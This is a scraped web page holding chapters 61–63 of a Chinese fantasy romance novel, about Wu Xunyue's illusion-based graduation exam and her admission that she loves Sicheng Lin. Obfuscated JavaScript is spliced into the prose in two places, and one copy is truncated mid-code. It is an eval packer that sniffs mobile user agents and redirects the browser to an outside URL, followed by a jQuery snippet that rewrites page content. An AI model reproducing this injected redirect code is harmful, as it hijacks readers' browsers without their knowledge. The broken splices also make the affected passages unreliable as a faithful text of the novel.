可毕竟,水间澈面对的,是本届封印类控术最强,且还是双修真灵。最后,巫寻月使出了专为压制强攻系灵师而设计的高级封印类控术锢灵楔—— 只听她一声高昂吟诵:“锢灵楔!”数十道长条金色尖锥便从四面八方迅疾冲向水间澈,以他肉眼难辨的轨迹贴着他身体交错穿插,“嗖嗖嗖——”数十声裂风之声过后,他四肢、脖颈、腰腹皆被金锥锁定,构筑成一个极其稳固的立体楔形结构,将他每一个发力点都彻底锁死。 解决完了水间澈,巫寻月大口喘气之时,就注意到前方那巨型骨架之上,再度涌现异象,那似有一个泉眼,七彩幽光不停从那冒出,先是一小团,然后渐渐壮大…… “轰——”一下,那幽光如惊爆般瞬间成万倍扩大,眨眼就覆盖了整个沼泽,天色更暗了下来,随之停下的,是周围所有人的打斗和嘶吼。 突然,一道幽长之音响起:“寻月……” “谁——!”巫寻月根本不知道要看向哪里,这声音没有方向,仿佛无处不在,更像是……来自于她灵魂深处。 但好像,这声音只有她一人能听见,周围二十位同学依旧一动不动,似提线木偶般被定身于空中,没有任何生气。 那声音再响起:“寻月……” 巫寻月站定,呼吸已然平复,她稍稍仰头环视,若定发问:“敢问问心尊者,还要如何考察学生?” 无人应答。可突然,萧瑟之风渐起,接着是草木枯竭的生脆破碎之声,巫寻月急看向四下,只见她脚下的青葱嫩芽簇簇相继枯萎而亡,而沼泽四周之绿竟也开始消亡,被腐朽枯黄所染,很快,所有树木都秃了大半,植被尽褪,周遭不复半点生机。 “是幻术!”巫寻月竭力保持镇定,提醒自己,可这场景太逼真,她一时不知要从何处破解。 接着,一道劈砍的声音突然传来,巫寻月抬头一看,脸上血色尽失——祁素心胸膛一把长刀穿胸而过,执刀者是强攻系一位男生,他大声嘶吼着:“没有你!我才是强攻系第三名!” 巫寻月根本不及多想,当即冲了过去,右手甩出藤杀将那人击退,左手接过倒下的祁素心,嘶喊着她的名字:“素心——素心——!” 巫寻月起手施展医术之时,只见周围所有人如鬼魅般开始相互劈砍,自相残杀,她惊惧大喊:“不要啊——不要啊——”却阻止不了无数血肉横飞…… 巫寻月呆呆地愣在那里,全身血液凝固,大脑因缺氧而陷入空白。 ……真的只是幻术吗?可为什么如此真实,又为什么要她看到这些……要她看到所有人一个接一个地死去…… 巫寻月强撑着自己站起来,朝天空高声吟诵:“醒春令——!” 无数蔓藤从地底破土生出,带着主人的心切,急速缠绕向每一具破碎的躯体。就在这时,身后突然有人叫她:“巫寻月……” 巫寻月惊悚回身,见到竟是东方曜,他站得笔直,眼带质问,道:“你是不是喜欢司城封座?” 巫寻月的脸霎时煞白,如遭雷击,僵在原地。她完全无法思考了:“你……你怎么……” “——她就是!”突然又有人说话。巫寻月转身,见到竟是朝黎,而她的眼神变得无比陌生,带着一种赤裸裸的鄙夷:“居然喜欢司城封座,人家不过是帮梅老师的忙送你到我桑府,难道你被他家宗祠山神打伤,司城封座还能弃你于那里不顾?司城封座是何等人物,这点学生打闹的小事,本不想牵扯进去,她竟还以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巫寻月止住脚步,感觉自己整个身体有千钧重,坠坠下沉,自己就快要支撑不住了:“你说……什么?” 狄乐凰略有不忍,可毫不犹豫:“他说,他是宗门之首,是全灵族最尊贵的人,怎么会这么随便就对路边一个野丫头动情呢,他也不过才见了你两面而已,说有感激该是合理的,竟没想到你如此一往情深,多年不渝,他说他很感激你,可终究你们是不可能的……” 巫寻月甚至不敢质问她为什么与之前相矛盾,就这样默然接受了:“那你为什么……不早告诉我?” 狄乐凰和慕丹青相互无奈,说:“自然是怕你伤心,也希望你慢慢就忘了,可谁能想到你竟为了如此虚无缥缈的情分,还拒绝了别人,一心向他……” 慕丹青接话了:“是啊,燕云停多好的人,你若能嫁到燕家,也是极有福气的,荣华富贵一辈子,哪怕毕业不工作也无所谓,我与枫若恒苦心为你着想,你怎的如此不识抬举,活在自己的臆想之中……” “你们别说了。”巫寻月满脸泪水,声音嘶哑。 狄乐凰继续说:“这些,终归你要知道的。” 慕丹青也未停下:“你早知道,对你是好的,你就要毕业了,难不成你还真要冲去九部令府,还是司城府,怎的你还以为司城封座真会主动来找你?” 巫寻月终于竭嘶底里:“——你们别说了!” 第一次,她的灵压暴动涌起,狂乱外泄,直逼山谷外的高地。 梅见蹊低头看了一眼案几上的茶盏,里头茶水微颤,是被她灵压波及所致。梅见蹊再看向司城凛——嚯,这家伙终于有反应了,哪怕只是那么微不可察地蹙眉,也难逃他梅见蹊与他近三十年情分的火眼金睛。 巫寻月大口喘气,好像那一声怒吼耗尽了她大半力气。忽然,又一道声音自身后传来,那声音于她既熟悉,也陌生,沉如深潭,又冷彻入骨:“寻月。” 巫寻月一愣,起先是不敢回头,可最终还是忍不住,转身看了过去——司城凛一袭玄青广袖长袍站在不远处,丰神如玉,高逸出尘,那双沉星眉眼轩威凛凛,叫人不敢直视。 她仅仅只是看了他一眼,就已泣不成声。司城凛却无动于衷,双目之间略有轻蔑,也夹杂几分怜悯:“我的确感谢你当初照顾之恩,可你我终究是云泥之别,我对你也从未有过其他情分,看你天分超群,鼓励你来神都读书,也不过是尽我灵族首宗的一点责任而已。” 巫寻月痛苦地闭上眼睛,嗓音已然嘶哑:“你不必说了。” 司城凛却不顾地继续开口:“若是我当初几句戏言让你有所误解,我当向你道个不是,我以为你到了神都之后自会知晓我的身份,就能自己明白我们绝无可能……” “你不要说了!”巫寻月突然狂躁地捂住了耳朵,同时撕心裂肺地呐喊,“——啊啊啊!” 第二次,更加强烈的灵震层层外溢,灵波只在一个呼吸间就抵达了山谷外的高地。 这一次,司城凛站了起来。 62. 第 62 章 面前男人突然拔地而起,巍如高山,梅见蹊吓了一跳,赶紧放稳茶盏,甚是无语:“至于吗你?当初你升真灵境时,灵爆的阵仗可比这恐怖多了。” 司城凛已经向前走去,来到山崖之滨。一边的千山昙现见了,赶紧过来请示:“封座大人,这灵压颇有暴乱之相,且紊乱已久迟迟未平,可需要属下过去看看?” 监考官一旦介入,说明已不信任考生足够自行处理,哪怕她最后通过考试,也会给人留下话柄,她这千古唯一双修真灵也就掺了水分了。 司城凛启声,低压,却沉实:“不必。” 沼泽之上,巫寻月竭嘶底里,崩溃恸哭。 忽然,哪里又传来了一道温柔的声音:“寻月……” 巫寻月当即抬起了头,想也不想就喊:“姐姐!”可四下并无她的身影,她起身环视,急切而狼狈地呐喊:“——姐姐!姐姐!” 那声音再度响起:“寻月,姐姐在这里……” 巫寻月转身看去,只见巫画荻站在前方尽处,笑意嫣然,眼中满是疼爱,而她身后……竟是一张散发着黑恶之气的幽森穴口,像是鬼魅张开的血盆大口,又像是堕入地狱之门。 而此刻,巫寻月什么也看不见了,眼里只剩下了巫画荻亲切的笑脸,巫寻月像个受尽委屈的孩子,大哭着朝她扑了过去:“姐姐……” 可她还没跑几步就被绊倒了,她低头一看,竟是一根蔓藤……蔓藤?巫寻月心底有个声音轰然而起,说的什么?她却听不清…… 她还在思索,又听见巫画荻在那边唤:“寻月,乖,到姐姐这里来,姐姐带你回家。” 一听见巫画荻的声音,巫寻月忍不住再落泪。什么神都,什么司城凛,她受够了,就当这七年大梦一场,她只想回家,回到那山野之中,和小白肆意玩耍…… ——等等!小白? 直到此刻,巫寻月才猛然感受到了隐隐作痛的左肩,方才不知是被悲痛还是被幻术麻痹,她竟全无察觉……巫寻月偶然低头,只见满地枯竭死寂之间,有微弱的绿芽正奋力破土,看着倔强无比,如同在与命运抗争,哪怕只有一滴甘霖,一缕残阳,也要奋力挣脱,开出生命之花。 而那些嫩芽,正是她的灵力实体所化。 ——轰隆隆!突然间,心底那个动静揭竿而起,越发声势浩大,似乎在竭力挣脱什么束缚,只为了提醒她自己的存在,为了提醒她,那是…… “寻月,”巫画荻又唤了她一次,依旧温柔慈爱,“我们该回家了,木香把饭做好了,今天有你最爱吃的红烧肉。” “好。”巫寻月轻轻答应,从地上起身,缓缓向她走去。 随她渐近,巫画荻身后的黑恶之气也被激发壮大,如同恶鬼张开巨口,就要将她吞入炼狱…… 这一切,从远处山谷外的高地观之,便是只见巫寻月一步步地,走近了那深渊。 “那是一道解煞门,”梅见蹊已来到司城凛身边,双手背身,听起来可一点也不担心,“一旦她穿过那道门,幻术就会解除,这也意味着——她的毕业大考,失败了。” 司城凛抿唇不语,依旧沉静。 巫寻月离巫画荻越来越近了,她满脸泪水,眷念地望着日思夜想的姐姐。最终,她站到巫画荻面前,却未急着扑向她,只是轻轻抬起手向她伸去。 巫寻月离解煞门只有一步之遥,在她抬手的瞬间,司城凛不由得跟着也动了半步。九部令所有部众都看了过来,却只见司城凛凝神直视,目光如沉,未有吩咐。 “姐姐。”巫寻月流泪望着她,轻轻唤。 “怎么了?”巫画荻一直在笑。 “你说我来这神都……错了吗?” “你知道便好,”巫画荻朝她伸出了手,“神都凶险,你瘦了许多,还是随姐姐回家吧,家里永远都比外面好。” “姐姐……” “嗯?” “……我好想你。” 巫画荻一笑,伸手再近她一些:“那就随姐姐回去,好不好?” 巫寻月未动,她缓缓低头,闭上眼,将最后的眼泪挤出眼眶。再睁眼时,迷茫无助之间,已然生出几分醒彻,声音也瞬然恢复了气力:“可是姐姐,是你跟我说过……要我去找我真正想做的事的,我心中所想——正是来此。” 话音落下,巫寻月周身空气轰然扭曲浮动,她发丝被灵波带起,灵力以她身体为眼,自成漩涡,起先只是微震,可就在她抬头那一瞬,因她目光笃定而勃然开大——十数道月白灵缎冲天扬起,如华莲怒放,重瓣尽展,而后迅速于她面前合拢,并成一道缎剑,径直向前逼去—— 就在缎剑合力撞向那幽暗之穴的瞬间,剧烈的震撞之声爆起,冲天月白与幽暗之色厮混缠绞,不分敌我。巫寻月双手展开,再于掌心间生成数道灵缎,她猛地凌空而起,以惊云震雨之势扬声诵出那必杀技的名号:“——游云惊月!” 数十道灵缎如闻号令,齐身全力冲击,强烈灵波惊骇翻涌之间,终将那混沌之幽撕开裂口——霎时间,那些黑恶之气便偃旗息鼓,迅速消散于空气之中。 天色忽然亮了起来,巫寻月莫名觉得心底有什么东西一泄,一股沉力流走,脑子倏然间就清醒了许多。 黑烟尽褪,七彩炫光重现,隐约间藏着一道身影,巫寻月定神凝视,只见一头灵猿打坐于其间,形如白发苍苍老者,闭着眼,看不清面目。 巫寻月抬了声:“敢问,可是问心尊者?” 那灵猿并未睁眼,也并未开口,声音就这样响彻于顶:“巫寻月,你做得很好,可是——还不够。” 话音未落,等不及巫寻月反应,数十张紫魅鬼脸拖着紫气长尾,直奔她袭来—— 见到这一幕,一向不咸不淡的梅见蹊也不由得蹙了眉,道:“问心尊者这是在做什么?竟放出高于一般真灵的灵力来打她?难道非要她击败至此才算过关?” 司城凛依旧不动声色,直盯着远处空中那漫天丝缎中凌烈搏击的身影。她闪击和躲避的身法和他很像,这集攻防封于一体的必杀技也和他很像,遁形身法虽不像他,却也能明显看出是加倍刻苦训练才有的拔尖,更别说她最拿手的封印类控术,也是他的显著特征之一…… 他看得有些着迷了,甚至有些意识不到,问心尊者此番放出的攻击之力,的确有些超出巫寻月的能力范围,她应承得稍显吃力,灵缎被击破无数,又一次被强劲击退,整个人于空中翻飞旋转了长段距离,才在即将被打出沼泽边缘之时急刹停下。 巫寻月大口喘气,不免心生紧张,眼下问心尊者的使力明显在她能力之上,她要如何才能破这一局…… 就在她冥思苦想之时,只见七彩光晕之间,问心尊者长须微动,嘴角一扯,低低地道:“好好好,老朽明白了……” 而后,问心尊者收敛攻势,周身灵震回归平静,那亘古之音再度响起:“巫寻月,恭喜你顺利通过毕业大考,完成了神都学宫的全部学业……” 巫寻月一惊,突然得有些没反应过来:“……真的吗?” 问心尊者依旧闭眼不动:“你身上的罡烈之气未能全数与草木之灵相融,老朽调皮,想借此机会为你点拨一二,便出手重了些,若以毕业大考的标准,早该向你道喜了……” 听到此言,巫寻月倏然间热泪盈眶,屈膝朝着前方行跪拜礼,道:“学生感谢尊者指点,定不负尊者期待,早日修成正果……” 那七彩幽光渐渐淡去,弥留之间,留下了问心尊者的最后话语:“你的路,才刚刚开始……” 光晕彻底消失,巨型骨架之上什么也没有了,仿佛什么都没有出现过。巫寻月起身环顾四周,却一个同学也没见着,大片沼泽和他们刚来时一样,平静,空寂,隐于其间。 正当她焦心时,就听见有人在呼唤:“——寻月!”巫寻月回头一看,西老师正在岸边冲她挥手,而她手中竟拿着刚才她丢失的剑! “西老师!”巫寻月立刻俯冲下去,一到她面前就问,“大家呢?” 西老师笑意盈盈:“大家都已经通过考试了,都在外面等你呢。” “……真不好意思,我竟是最后一个。” “你是双修真灵,需要考核的内容比别的同学都多,自然需要更多时间——还未恭喜你,顺利通过毕业大考,成功毕业了!” 巫寻月潸然泪下,西老师为她抹了抹泪,带着她离开了这片山谷。 沉梦谷考场的入口和出口不一样,西老师带着她往另一处方向走,走了许久,巫寻月才终于见到了头顶上方那处高地,而那山崖之上立着的男人,正是幻境中她最大的心魔—— 巫寻月停驻脚步,抬头望着他。司城凛也在看她,一动不动,眼神读不出意味。可他也能看见,她脸上道道清晰的泪痕。 “走吧。”西老师唤了声,巫寻月移开目光,跟上了她的脚步。 优秀毕业生们都等在出口,见巫寻月出来,众人一同拥了上来,朝黎在最前面,巫寻月终于支撑不住,倒在她肩头大哭。 大家看起来也都不好,各自哭过,头发衣服乱了的,武器损毁了的,各有惨相。幻由心生,他们各自都不知道各自见到了什么,自然,也不会有人愿意再提。无论如何,他们终是各自战胜心魔,赢得了毕业大考的最终胜利。 司城凛要继续在那高台之上坐镇监考,巫寻月没有再见到他。西老师领着大家去坐乌金鹍座驾——每年的优秀毕业生首发阵容,可是乌金鹍迎接回校的第一批学子呢。 过去的路上,巫寻月才注意到什么:“东方曜呢?” 朝黎一听,一脸的激动,说:“我跟你说!我是最先出来的,东方曜到了中后期才出来,横抱着祁素心出来的!说是把她打伤了,她腿不能动了!” “这么严重?怎么还是他打伤的?” “谁知他们二人幻境看到了什么呢?” 巫寻月又再注意到:“你是第一个出来的?你怎么这么厉害?” 朝黎简直骄傲极了:“嚯,你以为我们桑家的名号是吃素的吗?” 待他们到达乌金鹍车驾,见到乌金鹍窝在湖边,见到他们过来,起身立直,对着他们所有人弯下长颈,深深鞠躬——这是梅家祥瑞对毕业生们的无上宠爱。 他们进了仓内,见到东方曜和祁素心并肩坐在一起,祁素心腿上果然裹了纱布,俩人似乎有些拘谨,中间隔着微妙的距离。见巫寻月进来,东方曜立即起身,过来询问她的情况,巫寻月看见,祁素心的脸色可明显变得不好。 二十一人到齐,乌金鹍腾空,将他们送回了学校。落在断崖之后,巫寻月下车时,见到等待在那里的,是一座镇虚鳐座驾。 巫寻月心浪翻涌,却见拂绿姑姑迎上前来告诉她,狄乐凰并不在神都,她没忘记巫寻月当年来接她毕业大考归来,便也让拂绿在此代她等候,给巫寻月送些吃食和养灵恢复的补品。 巫寻月忍不住落泪,问:“乐凰什么时候回来?” 拂绿宽慰她道:“郡主手上公事未清,但郡主说,若你需要她的时候,她一定回来你身边。” 此时不到午时,慕丹青和枫若恒他们回去上值去了,其余毕业生还得考到日暮,巫寻月此刻什么也不想管了,只想回去一头栽倒,好好睡个长觉。 优秀毕业生首发阵容团战为全体师生一同观战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968060|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自然,巫寻月的游云惊月也就此为众人所知,沸沸扬扬地传遍了学校和神都——毕竟是史上唯一医疗系控制系双修真灵,人家小姑娘总要给自己留点仪式感,先公开了医疗系必杀技的名号,把控制系必杀技作为悬念留到毕业大考,也算是给了自己一个浓墨重彩的毕业答卷。 巫寻月一觉睡到了日暮。这段日子,她实在是太累太累了。唤醒她的是第一位舍友的归来,她们三人都排得靠后,定雪莲最先归来,得知她顺利通过考核,巫寻月也为她高兴,而她说起巫寻月放出的控制系必杀技时更为激动,说当场观战的全体同学都沸腾了起来,方才她回到学校,见到学校里都已经传开了。 巫寻月只觉得好饿,等不及她们一起吃饭,独自下山去找了秦艽。秦艽开的铺子生意好得很,自她这铺子开起来,就有媒人上门给她说亲,秦艽说有不错的人家,她自己也喜欢那郎君,可现下她一心琢磨怎么做大做强,还想等巫寻月毕业后随她把食铺开进神都城里,可没有功夫管儿女情长。 巫寻月才在她这坐了不久,很快到了饭点高峰,各家食铺都坐满了人,人多了,闲谈声也大了,其中不少在讨论今日毕业大考,那自然是绕不开核心话题巫寻月了,说着说着有人发现她正在这坐着,有的便怯怯而去,也有胆大的提了支笔过来,向她讨个签名。秦艽见了,捧腹大笑,直说:“我们阿月真是越发出息了!” 夜幕挂上了,按照往年进程,毕业生们该是都考完了,巫寻月与秦艽道别,正要回宿舍去看看舍友的情况,才一出门,就见到直奔这边过来的慕丹青。 慕丹青说:“去你宿舍不见,你舍友说你来都前驿吃饭了,我就过来了。” 秦艽招呼她:“丹青,你吃饭了没有?今日想吃点什么?” 可慕丹青看起来却心不在焉,匆匆与秦艽道别,急着就拉巫寻月离去了。她一路拉她逆着人流出去,见她明显有心事,巫寻月问她,她又不肯说。直到两人离开都前驿,来到万映湖畔,慕丹青才终于停下脚步,回头看她,说:“你今日毕业大考所开必杀技,午时就已传遍十一令了!” “你这是什么表情?”巫寻月瞧出她的忧心,甚是不解,“怎么了?有什么情况?” 慕丹青张大嘴巴看她,满是诧异,晃着她的肩膀,一字一句道:“——游云惊月!游、云、惊、月!” 巫寻月有点心虚,但毕竟此前已想定,等毕业大考已结束就全部向她坦白,便也做好了准备。可还不等她开口,慕丹青又接着说话了:“巫寻月!你到底喜不喜欢燕云停啊!” 轮到巫寻月膛目结舌。她双眼瞪如铜铃,音量一下子高亢起来:“——什么鬼?” “游、云、惊、月!”慕丹青再强调一遍,“这……真与燕云停无关?” ……这巫寻月可真是万万没有想到。她简直是如窦娥含冤百口莫辩,稍稍理出了思路,才说:“你肯定没这联想能力——不会是燕云停自己来找你说的吧?” “你还真猜对了!”慕丹青喜形于色,“午间用饭时他便跑来找我,说你心里定是有他,不然怎么会取这样一个必杀技名字?我一开始觉得胡扯,你对他究竟何意我还能不知?可他说得言之凿凿,加上这游云惊月实在是……我便有些怀疑,赶紧就来问你了。” “怀疑你个头啊!”巫寻月一把推歪她的头,顿时火冒三丈,“气煞我也!他是不是有病啊他?我还正准备跟你说呢!我到了沉梦谷之后,九部令那个千山就在那里,上来跟我说什么燕云停要他转告我好好考试什么的,说他本来想来但是……这不重要!重要的是九部令那些人的反应!他们所有人都在那边窃笑你明白吗!” 慕丹青当然知道她的意思,但也不太理解她为何如何怒火中烧:“这男子追姑娘本就是常事,燕云停在部中人缘不错,别人也知他家世好样貌好,多爱拿风月之事揶揄他,他心爱于你,若将追你之事告知同僚,也不是什么于你不利之事……” 巫寻月急切地打断了她:“就是于我不利之事!” 慕丹青听得一愣,问:“你这是何意?难道说……你那心上人——就在九部令?” 慕丹青这恋爱没白谈,婚也没白备,一根筋如她,总算是开窍了些。巫寻月并未很快作答,她转身走向湖边,望着湖面上那碎银般的月光,目光也变得深沉下来。慕丹青已跟到近旁,只听到她笃定地回答了一声:“是。” 慕丹青倒吸一口凉气,抓起她的手就问:“——他是谁?” 巫寻月缓缓看向她,说:“我的游云惊月……的确和他有关,因为,他的真灵级必杀技中,也有云字。” “真灵级必杀技?有云字?在九部令?”慕丹青迅速抓取关键信息,想了一圈,却是皱眉,“虽我入列时间不长,与我们年龄相仿的郎君也诸多,认得不全,可能被你钟情之人必定是上佳才俊,多少应该也听过,可你这似乎……” 其实,答案最为明显,但没有人一上来就敢往那位身上想。 “——等等?”慕丹青突然意识到了什么,看定她,神色莫名变得惊惶,“你强调真灵级必杀技,莫非……那人已非真灵?” 看巫寻月的眼神,是默认了。 “这可就……”自然年轻人要么与同辈相熟,要么就只知晓顶辈的名头,中间那些隐灵破灵的大叔们最是不识。所以,排除了同辈,一下就直接跳到了顶辈——慕丹青眸光骤凝,惊愕乍现,呆呆地看着她,每一根头发丝,每一根睫毛,都写满了难以置信。 巫寻月就这么看着她,知道她已经有答案了。 慕丹青甚至都不敢说出来,过了好半天,才动了动唇:“不会是……司城封座吧?” 63. 第 63 章 巫寻月还是没做声,只咬了咬嘴唇,眼底隐若浮现笑意。 慕丹青爆发出惊天动地的尖叫:“啊啊啊啊啊——!” 巫寻月没拦着她,转头望向湖面,等她疯够了,震惊够了,终于能接受了,才上前来抓住她,大叫道:“你说话啊!你别不说话!我知道你这是害羞的表情!你说话啊!” 巫寻月还是抿了抿唇,才含笑转过去看她,问:“这真的很难接受吗?” “也不是,我……”轮到慕丹青百口莫辩了,“我也不知道为什么,明明好像是最合理的,明明很容易就能想到的,你说的那些什么帅得要死,闷闷的没有表情,还有那些术法意象……明明,明明就……”慕丹青越想越把自己吓死了——没错,巫寻月这么多年说的每一个信息都与司城凛完全吻合,但她怎么就是…… 既她如此震惊,巫寻月倒是认真想问了:“神都城中……可有别家姑娘喜欢他?” “想给司城封座塞女人的,那可是多如……”慕丹青立时意识到,现在情况变了,赶紧换了风口,“哎,我是说……那些多是调侃,也不知道有几人真心,毕竟……那是司城封座,他实在是太……” 巫寻月替她说了出来:“远如浮云。” “我也不是这个意思……”慕丹青还想狡辩,却也知不合适,于是坦白,“……寻月,我是真没想到,害你一个人背负了这么多年,你定也猜到了我会是这反应,所以懒得与我说的,但是真的……且先不论司城封座远不远,你当初说是在你家乡邬戍城的山里遇到的他,这就很难跟司城封座联系起来……” 巫寻月沉了口气:“是啊,就连我自己都不敢相信那真的是他,丹青你知道吗,那年他继位大典,我终于知道了他的真实身份,我真的……很崩溃,很迷茫……” 那些往事瞬间如泉涌流,慕丹青全都明白了过来:“难怪你当时反应那么大……” 巫寻月回过头去,好一会儿没有说话,再开口时,平静的声线中更多的是无可奈何:“丹青,其实我不想做什么天才,也不想被那么多人注意,成日活在别人的期待里,所以在我知道他就是那个人之后,我挣扎了很久,一度劝自己算了……可是丹青,我做不到,在那之后四年了,我都做不到。” 直到现在慕丹青依旧心绪难平,可见巫寻月如此落寞,一反往日开朗,她忽然意识到,此刻自己所有的震惊和错乱,巫寻月已全部独自经历过了。慕丹青一时无言,可心中萦绕着一个最关键的问题,试着道:“可是,这么多年,司城封座他……他还……” 慕丹青说不出口,巫寻月也说不出口,但她给了她回答:“我不知道,我也不敢去想。” 慕丹青突然想起了什么,赶忙去抓她的手,说:“乐凰不是帮你去问过吗?他是如何答复的?” “他说……若有缘,我们会再见。” “若有缘?这是何意?”慕丹青快人快语,想也不想便说了,“若是他想,为何不能来找你?他又不是不知道你在这。” 巫寻月一声浅笑:“是啊,你说得都是。” 慕丹青一愣,后知后觉,才意识到自己真是瞎说:“寻月,我不是那个意思,那是司城封座,他哪能如我这般儿戏,这般洒脱……” 自巫寻月知道司城凛的身份,四年了,这些话她当然都对自己说过——她什么都对自己说过了,好听的,难听的,可什么也改变不了她对他的心。 巫寻月说这些时,无比平和坦然:“我都明白,他不一样,太不一样。” 慕丹青又问:“这些年,你们真的……一直再未见过吗?” 巫寻月说:“纵是见了,也是你知道的那样。” “——对哦!上次你被山神打伤,是司城封座送你去的桑府!”慕丹青怪自己这榆木脑子怎么才想起来,“桑府的人都瞧见了,他一路直闯,且还是找的桑世子——可又为什么事后不让你知道呢?” 巫寻月不想替司城凛找什么理由了:“我不知道。” “还有!去年祭神典在蘩楼,他定是看见了你的!”慕丹青显得十分惊喜,可一时间还得好好回想,毕竟这些事从前于她来说只不过是普普通通的一日,怎想得到对巫寻月却是如此特别……她终于想起那夜最瞩目之事,按捺不住道,“司城封座拒绝了花魁!原来是因为……” 巫寻月急看她一眼,那眼神却并无喜色,直让她住了嘴。巫寻月说:“我那日说过,若只是当日因我在那里而拒绝,那他日我不在,他便是另一番做派了,这样没有意义。” 慕丹青赶紧说:“寻月,这我倒是可以告诉你,且不说司城封座的身份太过尊贵,若是花魁得了他赏识,哪怕只是些许传闻,那花魁所在的艺苑可是得敲锣打鼓传扬出去,立时就会身价倍增,车马盈门,必不会藏着掖着……可这些年,却是从未有过这种情况。” “他最好真的没有。” 见巫寻月终于恢复些许俏皮,慕丹青松了口气,赶紧起劲儿:“定是没有!你可是不知道,司城封座忙得要死,不一定日日都能到九部令府,司城家还有一堆事儿等着他处理,千山副座的工作量,可是比其他副座要多得多呢!” “哦。”巫寻月轻轻应了声,又咬上了嘴唇,露出些许羞赧。 这一下,让慕丹青彻彻底底有了实感——司城凛真的就是她心爱的那个男人,就是这个表情,只有提到唯一的那个人之时,她才会露出的表情。慕丹青终于意识到之前在燕云停身上哪里不对了,这个表情,她对燕云停从未有过。 “你还真是……”慕丹青不由得说,随即她又明白了什么,“难怪你对燕云停那番转达那么生气,想来也是,若他在九部令中说了此事,那大家便会先入为主认为你与他该是有旧,可日后若是司城封座与你……那他们不会以为是司城封座横刀夺爱,欺压下属吧……” 这话借慕丹青之口说出来,巫寻月心头一块巨石沉下,舒服多了。她眼中已有厉色,话中有怨:“他们会认为我连神都望族、部中精英都看不上,一心只攀附他。” ——只一个“他”字,这是对心爱之人的专属,她才不要像其他人一样尊称那个高高在上的称谓,而他的名字如他本人,光是想想都令她羞怯,怎敢时时挂在嘴边。 慕丹青是彻底明白了,也气得直跺脚:“你说的是啊!我刚才还没想明白呢!不行,我得好好去问问燕云停都在九部令中说了什么,可不能坏你名节!” 巫寻月终于面露喜色:“你之前可是支持燕云停得很。” “哎呀,之前是之前,我哪知道你……”慕丹青都不敢说完。 巫寻月用诘问的眼神看她:“你还说过,他当初与我说的话,不过是两句戏言,他根本没有那个意思,也不会真的等我来到神都,你说那些都是浪荡之举。” 慕丹青大惊失色,她哪里想得到,自己这些随口胡说的废话,让巫寻月刺进了心里。她赶紧哄道:“我我我……我那都是胡说的,你怎还记得这么清楚,那夜我吃醉了酒,什么话都记不清了……” 慕丹青得承认,其实她并没有完全推翻自己的观点,留下两句话就一别七年,这事谁听了不得摇头?可那是司城封座……她怎敢妄议…… 巫寻月哪能看不穿她的心思,面露好笑,放过了她:“好了好了,逗你呢,这些道理我岂能不知,可是丹青……我已经走到这里了,停不下来,也回不了头了。” 已经走了七年,还要她怎么回头。 慕丹青也认真问:“那你如何打算?可还是想去十一部令?” 这个问题,直至今日此刻,巫寻月也无法对自己作答。 毕业大考结束,接下来,就是志愿选择的时间了。由于今年志愿改革,学校与天听阁需要共同参与分配优秀毕业生去向,且需要各专业前三名学生先确定自己的志愿,因此,这些同学需要在限定时间内完成志愿投报,好让学校和天听阁展开后续工作。 而今年由于各自志愿并不冲突,就不需要一起商量了,少了这一仪式,毕业生们心里还觉得有些怪怪的,似乎对于毕业去向更没底了。 但即便不需要协商,可总也关系到自己日后不能去哪一令,因此还是有不在前三名的同学陆续来探听前三名的志愿。据此,终于有人提议要不大家还是聚到一起,公布一下自己的志愿,好让其他同学心里有个底。各专业前三名一共九人,并不是所有人都想来这一出,可眼见同意的人越来越多,便也就妥协了。 今年优秀毕业生相对往年多了不少,他们找了间大教室,人往屋子里聚齐,看起来更拥挤了,说不出来哪里怪怪的。 还是朝黎这个精灵鬼点破了:“总觉得看起来像是回到了一年级,可是大家都长大了,变得大只大只的,教室一下子看起来变得好挤……” 许多人发笑道:“还真是的,哈哈哈哈……” 大部分人都是从十一二岁到了十八九岁,的的确确是从一个孩童变成了大人。 根据毕业大考的表现,强攻系前三名为水间澈、香宿雪、祁素心;控制系前三名是东方曜、慕学文、裴稷;医疗系则是朝黎和南义宸。而巫寻月作为真灵级毕业生,独立于之外,不参与各专业排名。 但若按往年规则进行综合排名的话,则前三名该是巫寻月、东方曜、水间澈。 慕学文这次可谓是超常发挥,按照平时成绩来看,慕学文在控制系第三和第四之间摇摆不定,若是不小心掉到第四,他都做好回家被吊打的准备了——这意味着他将失去自主选择六部令的机会,掉入随机分配池。 强攻系学子的分配最为紧张,因此人一到齐,强攻系的同学就迫不及待先发问了,而这三人也是爽利得很,给出的回答都很干脆,看起来早已是一心所向——水间澈选定八部令,香宿雪要去二部令,而祁素心则选了七部令。 除了水间澈的选择显得合情合理——巫寻月终于知道自己为什么观他有几分熟悉了,这眉眼间的疏淡清冷,举手投足间的沉静克制,生得一副文雅风姿却拥有着原始极致的强力……还真是与言萧鹤颇为相似,最重要的,是眼神中天然流露的那种对悟道与力量的纯粹追求,正是这一份纯粹,让他们浑身都透着不近女色的冷淡。 而偏偏有些女人执着得很,非就要引诱这样的男人为她折腰——她当然是在说狄乐凰。巫寻月从水间澈身上收回目光,不由得偷笑起来。 座首为标杆,总是慢慢就会吸引与之相像之人。十一令各自形象特质鲜明,正源于此。 而其他两位强攻系女生的选择,可是有些令人意外了。 香宿雪说:“寻常毕业生入列,都不会直接安排参战,而今年即将开启好战期,若是入二部令,则可申请前往山海洲驻军,提前进入前线。” 此言一出,在场鸦雀无声,过了良久,还是慕学文第一个站出来向她致敬:“你如此深明大义,勇往直前,令我佩服,之前说你是我不对,在这里向你赔个不是。” 香宿雪本就没放在心上,倒是巫寻月得夸夸他了:“慕学文,长大了呀。” 至于祁素心选七部令,那看起来就更违和了。有同学当场没忍住直接就问:“七部令那些人,个个健壮如牛,女子也是剽悍得很,你生得小小巧巧的,当真……” 